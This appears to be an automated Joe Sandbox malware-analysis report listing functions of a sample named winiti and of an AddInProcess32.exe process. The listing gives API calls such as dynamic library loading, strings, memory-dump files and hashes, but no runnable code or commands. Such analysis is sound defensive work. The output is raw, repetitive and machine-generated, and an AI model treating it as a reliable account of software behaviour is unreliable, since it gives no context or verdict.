Part of subcall function 000000013F5FAA30: VirtualQuery.KERNEL32 ref: 000000013F5FAA62

RaiseFailFastException.KERNEL32 ref: 000000013F5F6342

Strings

, xrefs: 000000013F5F6356

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: Current$Thread$DuplicateExceptionFailFastHandleProcessQueryRaiseVirtual
String ID:
API String ID: 510365852-3916222277
Opcode ID: aac18b405e8186b4baee27d6e985e552b0b39ad9a33c4f5303744330f0df3245
Instruction ID: 9f16e0870d44e2a58a403c39efc5c7a1855a292645cadaa2ab99e1bf984dd7a7
Opcode Fuzzy Hash: aac18b405e8186b4baee27d6e985e552b0b39ad9a33c4f5303744330f0df3245
Instruction Fuzzy Hash: F611AEB2A04B84CAD760EF69B4413CA7360F3457B4F181339A6BD4BBD6CB74C6468B00

Function 000000013F61D600 Relevance: 9.2, APIs: 6, Instructions: 189threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32 ref: 000000013F61D6CA
SwitchToThread.KERNEL32 ref: 000000013F61D6D3
SwitchToThread.KERNEL32 ref: 000000013F61D6FD
SwitchToThread.KERNEL32 ref: 000000013F61D82F
SwitchToThread.KERNEL32 ref: 000000013F61D838
SwitchToThread.KERNEL32 ref: 000000013F61D862

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: SwitchThread
String ID:
API String ID: 115865932-0
Opcode ID: 01a89e310edcfaae1fb5271710d384d3bec56e2db4509541efe95d0668bf02e1
Instruction ID: 78153649ae04c5e4675b1065240a8adc1915d2f6f770a92d8227675a3af16587
Opcode Fuzzy Hash: 01a89e310edcfaae1fb5271710d384d3bec56e2db4509541efe95d0668bf02e1
Instruction Fuzzy Hash: E681B271F00641C7FB989B29A8867EA3790AB40394F14017DE969873EBDB39CA47DB40

Function 000000013F61A150 Relevance: 9.2, APIs: 6, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 775818c12bc7e14b7563a559daced99b5b62968cc71ab8af9d358da41de0e075
Instruction ID: 4468a35e14258bf22430f18426f27cb062aadb8cc564ead3e124c49e91998e25
Opcode Fuzzy Hash: 775818c12bc7e14b7563a559daced99b5b62968cc71ab8af9d358da41de0e075
Instruction Fuzzy Hash: B471BCB2B05B80C2FB189B61AA463E967E1F754BD8F08457DDE4947B9ADF38C652C300

Function 000000013F61FAE0 Relevance: 7.8, APIs: 6, Instructions: 317COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 000000013F61FECA
LeaveCriticalSection.KERNEL32 ref: 000000013F61FF0F
EnterCriticalSection.KERNEL32 ref: 000000013F61FFC7
LeaveCriticalSection.KERNEL32 ref: 000000013F61FFE8
EnterCriticalSection.KERNEL32 ref: 000000013F62002C
LeaveCriticalSection.KERNEL32 ref: 000000013F62004D

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 418b0774b7d3228d4d9ac1118a31d47de2794695f603a46847a331a745cbe1d0
Instruction ID: abed8c394a4d8a55167ca6df4cfa803edc6deb3dff1b051ea7af765fb4538716
Opcode Fuzzy Hash: 418b0774b7d3228d4d9ac1118a31d47de2794695f603a46847a331a745cbe1d0
Instruction Fuzzy Hash: 84E19FB2B01A559ADA548F65E954BE863A1FB047F4F80433AD93D57BDDDB34C21AC300

Function 000000013F5F3680 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

RaiseFailFastException.KERNEL32 ref: 000000013F5F3720
RaiseFailFastException.KERNEL32 ref: 000000013F5F3829
RaiseFailFastException.KERNEL32 ref: 000000013F5F3866

Strings

Process is terminating due to StackOverflowException., xrefs: 000000013F5F370A

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: ExceptionFailFastRaise
String ID: Process is terminating due to StackOverflowException.
API String ID: 2546344036-2200901744
Opcode ID: fe34fe60a8b53b133f424caca37e213f3d652fd43d92ea617847fbec9e1bc9e9
Instruction ID: 3d5fea04b7b74230ec1840f805b00535d56c1d3328ec789a78e2a6e158785014
Opcode Fuzzy Hash: fe34fe60a8b53b133f424caca37e213f3d652fd43d92ea617847fbec9e1bc9e9
Instruction Fuzzy Hash: 3A51D772F12B44C2FF549B1AE4503E92390E758B94F4984BEDA1E437A4DF29C69BC300

Function 000000013F632FB0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,?,000000013FC00000,000000013F6330AD,?,?,00000000,000000013F61FA9C,?,FFFFFFFF,47AE147AE147AE15,000000013F60964C), ref: 000000013F633002
GetProcAddress.KERNEL32(?,?,?,?,000000013FC00000,000000013F6330AD,?,?,00000000,000000013F61FA9C,?,FFFFFFFF,47AE147AE147AE15,000000013F60964C), ref: 000000013F63301C

Strings

GetEnabledXStateFeatures, xrefs: 000000013F633012
kernel32.dll, xrefs: 000000013F632FED

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetEnabledXStateFeatures$kernel32.dll
API String ID: 2574300362-4754247
Opcode ID: 0d1bad6a7b8d3c1afb901e75ce55123fadd1554c836fe95c377a29b41be358a4
Instruction ID: 7e50d20fc654da334f45e9b516ee03740c09f0b74b88723abc9cb66276187586
Opcode Fuzzy Hash: 0d1bad6a7b8d3c1afb901e75ce55123fadd1554c836fe95c377a29b41be358a4
Instruction Fuzzy Hash: 5D21D0B2F2525042FFB88739E5577FD5381D398794F8C803FC90A86AE5DA1DCAC28A00

Function 000000013F5FB1D0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,?,000000013F5F5516), ref: 000000013F5FB1E3
GetProcAddress.KERNEL32(?,?,?,?,000000013F5F5516), ref: 000000013F5FB1F8

Strings

GetEnabledXStateFeatures, xrefs: 000000013F5FB1EE
kernel32, xrefs: 000000013F5FB1D6

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetEnabledXStateFeatures$kernel32
API String ID: 2574300362-4273408117
Opcode ID: 532f177c9a3abf93edbeefab53f090ab908d42bf1be2dcd3b1f8b265f2863a08
Instruction ID: 16567847ea2e4cd399e11dd8db8a8b15bbe820be492245a21c8aff00b179f6f4
Opcode Fuzzy Hash: 532f177c9a3abf93edbeefab53f090ab908d42bf1be2dcd3b1f8b265f2863a08
Instruction Fuzzy Hash: DBE0EC75F52741D1FF49AB55A84A7D833907BA9B41FC845ADC82E823A1EE3C838BC710

Function 000000013F5FB180 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,?,000000013F5F559B), ref: 000000013F5FB193
GetProcAddress.KERNEL32(?,?,?,?,000000013F5F559B), ref: 000000013F5FB1A8

Strings

GetEnabledXStateFeatures, xrefs: 000000013F5FB19E
kernel32, xrefs: 000000013F5FB186

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetEnabledXStateFeatures$kernel32
API String ID: 2574300362-4273408117
Opcode ID: d9ff822428f1893a5703cac88901d505093234beacf457cec68585e3c479c2ba
Instruction ID: 99b59b43ff176e5fe92114a27f46757ed3c38a8bb89ba236f25a04909d7d87d6
Opcode Fuzzy Hash: d9ff822428f1893a5703cac88901d505093234beacf457cec68585e3c479c2ba
Instruction Fuzzy Hash: CFE0EC38F12741D1FF49AB55A84A7D423A17B89790FCC81ACC81D42350EE2C879BD710

Function 000000013F62E8F0 Relevance: 6.1, APIs: 4, Instructions: 124threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32 ref: 000000013F62E96B
SwitchToThread.KERNEL32 ref: 000000013F62EA09
SwitchToThread.KERNEL32 ref: 000000013F62EA1E

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: SwitchThread
String ID:
API String ID: 115865932-0
Opcode ID: 669846d24bbda5f65c578a588012ee14f3413299c3a7e3c496bd00c502c477b6
Instruction ID: 663b77c825b60f0b5c82d666c2f4c7c30ef37377dda9cf54e758f778ea580627
Opcode Fuzzy Hash: 669846d24bbda5f65c578a588012ee14f3413299c3a7e3c496bd00c502c477b6
Instruction Fuzzy Hash: 9F41D2B6F1065492EFA48B25C0423ED6390E72CF94F18853FDA4A877CADA3CCA438751

Function 000000013F611BED Relevance: 6.1, APIs: 4, Instructions: 119threadCOMMON

Download Yara Rule

APIs

SwitchToThread.KERNEL32 ref: 000000013F611D12
SwitchToThread.KERNEL32 ref: 000000013F611F9E

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: SwitchThread
String ID:
API String ID: 115865932-0
Opcode ID: ea4baac3568b8008df20d653752b465ece59447f5b54120d8eb719c92615070f
Instruction ID: 465538b9affbd538a8e45464ec8dc52e3d811905f7386aeb122890f6daef83d4
Opcode Fuzzy Hash: ea4baac3568b8008df20d653752b465ece59447f5b54120d8eb719c92615070f
Instruction Fuzzy Hash: 1E518EB0F14601CBF7599B6599977E627E8AB40358F1441BDE80AC32E5DB28DF07C601

Function 000000013F62F060 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

DebugBreak.KERNEL32 ref: 000000013F62F139
DebugBreak.KERNEL32 ref: 000000013F62F156
DebugBreak.KERNEL32 ref: 000000013F62F171
DebugBreak.KERNEL32 ref: 000000013F62F18A

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: BreakDebug
String ID:
API String ID: 456121617-0
Opcode ID: 21388db3ff23c23bfe290b02463c8e984ea9257b12978aae731d96e3086609a7
Instruction ID: 31a406dccfed760e91908ea19a42eb100771b3022fa4e2366689652c72cbda00
Opcode Fuzzy Hash: 21388db3ff23c23bfe290b02463c8e984ea9257b12978aae731d96e3086609a7
Instruction Fuzzy Hash: F34104B6B05784A2FA619B11E1167ED7BE8E744B98F59047CDE480739ADF78CA83C340

Function 000000013F61D200 Relevance: 6.1, APIs: 4, Instructions: 85COMMON

Download Yara Rule

APIs

DebugBreak.KERNEL32(?,?,00000000,?), ref: 000000013F61D2B9
DebugBreak.KERNEL32(?,?,00000000,?), ref: 000000013F61D2D6
DebugBreak.KERNEL32(?,?,00000000,?), ref: 000000013F61D2F6
DebugBreak.KERNEL32(?,?,00000000,?), ref: 000000013F61D319

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: BreakDebug
String ID:
API String ID: 456121617-0
Opcode ID: a762ba7bdb9e68b543346d8befee5f14f7d2aaaa5ecc6a7732aa10b9ae04d0ef
Instruction ID: 82623d0bb5752d52e1ac37a1cd8bd69f0b27cbb1907cfecb3b6668c9878d1ef2
Opcode Fuzzy Hash: a762ba7bdb9e68b543346d8befee5f14f7d2aaaa5ecc6a7732aa10b9ae04d0ef
Instruction Fuzzy Hash: 0B31AFB2A05B5482EA659F65A2423D9B7E4F785B98F58003CEF590779BDF7CCA42C300

Function 000000013F5FAD00 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

WaitForMultipleObjectsEx.KERNEL32 ref: 000000013F5FAD34
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000013F5F6431), ref: 000000013F5FAD3E
CoWaitForMultipleHandles.OLE32 ref: 000000013F5FAD5D
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,000000013F5F6431), ref: 000000013F5FAD71

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: ErrorLastMultipleWait$HandlesObjects
String ID:
API String ID: 2817213684-0
Opcode ID: 1b63c40e6d013145cedae492ad8f21b5e2360a6dd9ad6664cb5addbe83128acf
Instruction ID: 0ec6867dbc8c4a8328232f602fcc174e7fc0c101e07bfd2042285085f249ec6e
Opcode Fuzzy Hash: 1b63c40e6d013145cedae492ad8f21b5e2360a6dd9ad6664cb5addbe83128acf
Instruction Fuzzy Hash: FB11C435B08B54C3E7248B1AF40535AB7A1F784B95F54013DEAD987BA9CB3CCA458B40

Function 000000013F65955C Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000000013F659588
GetCurrentThreadId.KERNEL32 ref: 000000013F659596
GetCurrentProcessId.KERNEL32 ref: 000000013F6595A2
QueryPerformanceCounter.KERNEL32 ref: 000000013F6595B2

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: efb2c1910f7fe4eb1fdb9db6ef462f9c960acadc62b879df81811dfe8f91f112
Instruction ID: a6431462b84827648b4ed0d6a9348ea0b0a9eef2aa01d6a08f2bd176101f508a
Opcode Fuzzy Hash: efb2c1910f7fe4eb1fdb9db6ef462f9c960acadc62b879df81811dfe8f91f112
Instruction Fuzzy Hash: BD110C36B11F04CAEB00CF64E8593E837A4F759B98F441E39DA6D86BA8DF78C2558340

Function 000000013F65A8E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,000000013F659A6B), ref: 000000013F65A930
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,000000013F659A6B), ref: 000000013F65A971

Strings

csm, xrefs: 000000013F65A95E

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: aa4e29ff740041cbb66bd2c147c1e0abea6c0f4e7f03852bd6b62dcdd7bd4198
Instruction ID: f290f5f0022c1b605dbbdbf036a7bb581224f7429d8ab29e80b764996635656c
Opcode Fuzzy Hash: aa4e29ff740041cbb66bd2c147c1e0abea6c0f4e7f03852bd6b62dcdd7bd4198
Instruction Fuzzy Hash: C9116D32614B8082EB208F15F8443997BE4F788B94F194224DEDC47B69DF3CC6528B00

Function 000000013F613E10 Relevance: 5.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000000,000000013F613F8F,?,?,?,000000013F62025A), ref: 000000013F613E5A
LeaveCriticalSection.KERNEL32(?,?,00000000,000000013F613F8F,?,?,?,000000013F62025A), ref: 000000013F613E9C
EnterCriticalSection.KERNEL32(?,?,00000000,000000013F613F8F,?,?,?,000000013F62025A), ref: 000000013F613EC7
LeaveCriticalSection.KERNEL32(?,?,00000000,000000013F613F8F,?,?,?,000000013F62025A), ref: 000000013F613EE8

Memory Dump Source

Source File: 00000016.00000002.484273853.000000013F5F1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 000000013F5F0000, based on PE: true

Associated: 00000016.00000002.484269813.000000013F5F0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484293452.000000013F72B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484302621.000000013F78B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F850000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484316095.000000013F857000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.484325200.000000013F85F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_13f5f0000_winiti.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 76d884de7bf17c7811e84ddf0ad67568b996faf9851ca8ebb35a4ad0458fe3ff
Instruction ID: f64eefb5bd9f523e8549be03835d48176e99c8d604bca3b150ca429985d4114e
Opcode Fuzzy Hash: 76d884de7bf17c7811e84ddf0ad67568b996faf9851ca8ebb35a4ad0458fe3ff
Instruction Fuzzy Hash: E6210CB1A10A05C2EF589F24E9CA3D527B4FB547A0F98127AD56D426E9DB38C69BC300

Analysis Process: AddInProcess32.exePID: 2480, Parent PID: 4076COMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	2.7%
Total number of Nodes:	728
Total number of Limit Nodes:	10

Executed Functions

Function 0041CB50 Relevance: 148.9, APIs: 52, Strings: 33, Instructions: 176
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(Psapi), ref: 0041CB65
GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB6E
GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040E9E1), ref: 0041CB85
GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB88
LoadLibraryA.KERNEL32(shcore), ref: 0041CB9A
GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB9D
LoadLibraryA.KERNEL32(user32), ref: 0041CBAE
GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBB1
LoadLibraryA.KERNEL32(ntdll), ref: 0041CBC3
GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBC6
LoadLibraryA.KERNEL32(kernel32), ref: 0041CBD2
GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBD5
